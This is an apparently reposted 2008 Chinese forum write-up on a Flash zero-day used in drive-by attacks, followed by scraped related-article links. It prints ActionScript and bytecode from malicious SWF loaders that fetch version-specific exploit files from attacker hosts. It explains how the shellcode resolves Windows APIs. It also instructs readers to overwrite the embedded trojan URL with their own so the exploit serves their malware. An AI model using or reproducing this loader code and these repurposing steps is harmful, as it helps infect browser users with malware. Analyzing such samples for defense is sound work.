首先必须感谢的X.G.C.Team的OPEN在几个关键的地方给予我分析,解决办法的帮助.与及咱们论坛好几位兄弟的帮助.最终我才把这个东西给分析出来..
——————————————
最近FLASH出了几个0DAY,论坛也帖了相关的新闻信息我也约在5天前开始对此进行研究.我记得同时间邪恶八进制也有人开始同样的研究.到目前为止,该0DAY可以影响到90.115这个版本.而邪八那边的研究,先在两天前宣布成功完成.这又给我带来不小的压力..

(一)作为研究的初步,通过TIM的帮助,我从几个被挂马的页面得到2个SWF网马.反编译后得知这两个SWF在获得本地FLASH插件版本后,会再次下载2个真正具备溢出并且下载病毒到本地执行能力的恶意SWF文件.其验证和下载SWF文件的详细代码可见如下:
var fVersion = getVersion();
loadMovie(”http://bao.5bao.net/123/” + fVersion + “i.swf”, _root);
stop ();

————————————此处获得了本地的FLASH版本.————————————-
说明:加载外部文件命令loadMovie()可以在播放 SWF 文件的同时,将外部的 SWF 文件或 JPEG 文件加载到 Flash Player 中,使您可以同时显示几个 SWF 文件,或者在几个SWF 文件之间切换[local]1[/local]
1、loadMovie(”url”,target [, method])
“url” :要加载的 SWF 文件或 JPEG 文件的绝对路径或相对路径。
使用相对路径一般应将播放的.swf文件与要加载的.swf文件放在同一文件夹中。绝对 路径必须有详细的路径地址。
target:目标影片剪辑(mc元件)的名称和路径。目标影片剪辑将替换为加载的 SWF 文件或图像。
method 可选参数,一般可以不选。

// [Action in Frame 1]
_constantPool “fVersion” “/:$version” “http://xioayang,com/123/” “c.swf” “_root”
_push “fVersion” “/:$version”
_getVariable
_var
_push “http://xioayang,com/123/” “fVersion”
_getVariable
_add2
_push “c.swf”
_add2
_push “_root”
_getVariable
_getURL2 flag 64
_stop
_end
————————-获得版本后,构成下载地址,下载真正的凶手SWF.———————
Action in Frame 1这个动作就同时打开了C.swf并push in root了.

根据上面,我下载了相应的”WIN%209,0,45,0ie.swf”保存到本地,至此我们总共得到了4个样本SWF,其中2个溢出的主SWF.总算有了可供对比分析文件的资本了.

(二)反编译溢出主体SWF后,我们从FLA中看到了这个SWF包括3个标签,1个动作,1个图片元素,1个侦.

通过2进制对比我们的两个样本,发现具有可疑性的分别是图片元素和那个侦.邪恶八进制那里的研究认为是图片部分.并且最终锁定了图片中的一段代码.不过无 论图片或者那个侦在16进下均为乱码.通过几个常用的SHELLCODE加密技术,我仍然无法还原出有用的信息..前几天我就是从这里开始失去方向的.部 分代码截图可见:

(三)经过这几天的思考和对0DAY原理的多次构想,我们确定,这个FLASH0DAY原理 是让用户浏览该SWF文件,如果用户的FLASH插件版本等于或者低于115,那么就会下载并且运行恶意的SWF.产生溢出,溢出后,会按照小黑给你准备 好的木马地址执行下载+执行的操作,那么这个木马地址本身,必然存在于这个可以溢出的SWF之中.我们之所以16进找不到这个代码的所在地,是因为 SHELLCODE被加密了.那么怎么找到这个位置和判别加密方式呢?这里我们采用逆向工程.Reverse Engineering”,译成中文就是”逆向工程”.我使用了TRW,Soft-Ice和W32Dasm通过不断的重要地址断点,不断的汇编调试,分析 消息响应函数,终于把SHELLCODE锁定在了这里:16进制打开主溢出SWF

留意值为62处.从这里开始,出现木马地址.在改木马地址之前,把这里值改为51.
然后找到:

这部份修改为你的马的地址.
譬如:

至此,你已经成功的把这马变成了自己的了.

(四)我们继续探讨这个SHELLCODE的加密原理…这也是我们找不到,只能靠逆向来逐步推的拦路石了.OPEN说这是这个SHELLCODE是由之前迅雷0day的shellcode一样的xor加密方式加密的.
以下引用部分XOR的加密和解密原理:
shellcode要在别人的计算机里正常运行,需要注意的关键:
1. 所有shellcode都难以保证自己的代码被加载到哪个内存地址。shellcode要运转,特别是要读取自身代码里的数据(如病毒URL地址,要调用的函数名等常量和变量),就必须要自我定位,即获取自身在内存中的虚拟地址。
一般来说,只要在执行shellcode过程中,能获取到程序当前的入口点EIP值,就能以此定位自己的代码。但是EIP值是不能直接用mov等方法获取的。为此,shellcode编写者利用了一个典型的办法,你在下面的shellcode中将会看到。
2.shellcode必须在所在进程的空间里,调用系统API函数,来完成远程下载文件并运行的目的。那么,怎么获取函数地址?这也就是远程注入代码的又一关键:函数地址重定位问题。
只要API所在的dll被进程所加载,就可以通过由kernel32.dll导出的GetProcAddress来得到函数地址,进而Call之。但是,GetProcAddress本身也是一个函数,我们首先要得到它的地址啊!看起来好像进入死循环了。
既然如此,shellcode作者就必须模拟程序加载dll的方式,为自己的shellcode代码创建一个类似的“输入表”。要得到 kernel32.dll中的GetProcAddress函数的地址,也就要读取kernel32.dll的输出表。那么,问题变成了如何定位 kernel32.dll的输出表。
问题转变成了一个PE文件结构读取的问题。只要得到kernel32.dll在进程虚拟空间中的基址(DOS文件头,即MZ的位置),就可以在03CH偏移处读到PE文件头(”;PE”字样地址)相对这个DOS文件头的偏移,并计算出PE文件头地址。PE文件头结构中的78H处,就是输出表的地址了。通过检索输出表,就可以得到GetProcAddress函数的地址的偏移量,进一步变为在虚拟空间中的入口点地址。
问题逐层深入,变成怎么得到“kernel32.dll文件在进程空间中的基址”。硬编码?那你干脆连函数地址都硬编码,不是更省?!shellcode作者们有更好的作法。
讲到dll的基址,一个结构呼之欲出了——

PEB!fs:[0x30]!

关于争对这个FLASH0DAY如何破解XOR加密SHELLCODE的方式,我还没有完全总结完我的操作.总结完了我再补充进来.这里先列出两篇文章供大家参考:

http://bbs.pediy.com/showthread.php?t=46068

转载于:https://www.cnblogs.com/lxwy/archive/2008/06/02/4420769.html

[转帖]最新FLASH 0DAY 漏洞总结分析篇相关推荐

  1. Hacking Team Flash 0day漏洞学习笔记

    周日的夜晚,与囧桑下载下来Hacking Team之前爆出的flash 0day漏洞,怀着紧张激动的心情,在自己的机子上做了实验,经测试,在我的虚拟机(一个sp3的XP,貌似没装Flash)上根本跑不 ...

  2. 已遭利用的Windows 0day漏洞 CVE-2020-1380分析

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 卡巴斯基发布博客文章,简要分析了微软在8月补丁星期二修复的一个已遭利用 0day CVE-2020-1380.如下内容编译自该文章. ...

  3. 已遭利用的Windows 0day漏洞 CVE-2020-1380 分析

    卡巴斯基发布博客文章,简要分析了微软在8月补丁星期二修复的一个已遭利用 0day CVE-2020-1380.如下内容编译自该文章. 文章指出,2020年5月,卡巴斯基阻止了利用 IE 恶意脚本攻击某 ...

  4. 南方数据编辑器southidceditor最新注入0day漏洞

    1.注入点:news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from adm ...

  5. Flash 0day CVE-2018-4878 漏洞复现

    0x01 前言 Adobe公司在当地时间2018年2月1日发布了一条安全公告: https://helpx.adobe.com/security/products/flash-player/apsa1 ...

  6. 一步一步回顾分析攻防演习中的 WebLogic T3 反序列化 0day 漏洞

     聚焦源代码安全,网罗国内外最新资讯! 本文内容共分六部分: 一.前言 二.Jdk7u21 的 PoC 分析 1.第一部分利用链分析 2.第二部分利用链分析 三.MarshalledObject分析 ...

  7. Windows PsExec 0day 漏洞获免费微补丁,但仅适用于最新版本

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士团队 0patch 平台发布免费微补丁,修复了微软 Windows PsExec 管理工具中的一个本地提权 (LPE) 漏洞.目前该漏洞尚未获得 ...

  8. 银行系统 0day 漏洞挖掘与分析 方法研究——期刊读后心得

    读后心得 全文的总体概括 0day漏洞的重要性 0day挖掘方法和模型 0day 漏洞挖掘的未来展望 全文的总体概括 漏洞是网络攻防的武器,是力量提升的重要战略资源,而 0day 漏洞更是核武器,谁掌 ...

  9. 利用第三方软件 0day 漏洞加载和执行的木马分析

    腾讯电脑管家 · 2015/03/03 19:34 0x00 前言 近期腾讯反病毒实验室捕获了一批针对性攻击的高级木马,该木马使用近期热门的时事 话题做诱饵,对特殊人群做持续针对性攻击,目前腾讯电脑管 ...

最新文章

  1. 让人头痛的大事务问题到底要如何解决?
  2. 浏览器访问网页过程中发生了什么?(转)
  3. javabirdge php_PHP-Java-Bridge使用笔记,2014年9月最新版
  4. 图像的灰度级数越多越好_MATLAB-数字图像处理 图像直方图归一化
  5. 用企业实例说明,制造业如何打破4大困境,解决数字化转型痛点
  6. 摩托罗拉edge X30屏下版真机首曝:四边等宽 屏下显示效果出众
  7. a1 抛光等级spi_抛光等级对照表
  8. arcpy:TIF/IMG上色后转KMZ文件
  9. 没有币如何复制百度文库中的文章
  10. JAVA计算机毕业设计大学生旅游拼团网站Mybatis+源码+数据库+lw文档+系统+调试部署
  11. 计算机三维辅助设计3DMaX,计算机辅助设计(AUTOCAD、3DMAX).docx
  12. 我99年想出来00年发表的一个概念,被百度百科引用了
  13. 暑期2020“大咖说开源” | 陈莉君:Linux从入门到深入内核有多远
  14. 向量点乘(内积)和叉乘(外积、向量积)概念及几何意义解读(经典)
  15. 罗升阳对安卓2.3系统的总结
  16. Excel玩转统计图
  17. PHP充值怎么打折,教大家如何用PHP语言写一个简单的商品打折小程序!
  18. 马斯克:需要300T电池
  19. Linux|文本处理三剑客之sed命令详解
  20. 良心安利花纹免抠元素素材网站

热门文章

  1. css:text-align:justify的用法
  2. LINQ 101——分组、Set、转换、Element
  3. 屏幕滚动控件Scrollview
  4. .NET Remoting构建分布式数据库查询
  5. 学习:springMVC注解
  6. Netty中的线程处理EventLoop
  7. vi/vim 使用
  8. 《数据结构与算法 C语言版》—— 2.5上机实验
  9. godep的save和update
  10. 使用iostat分析IO性能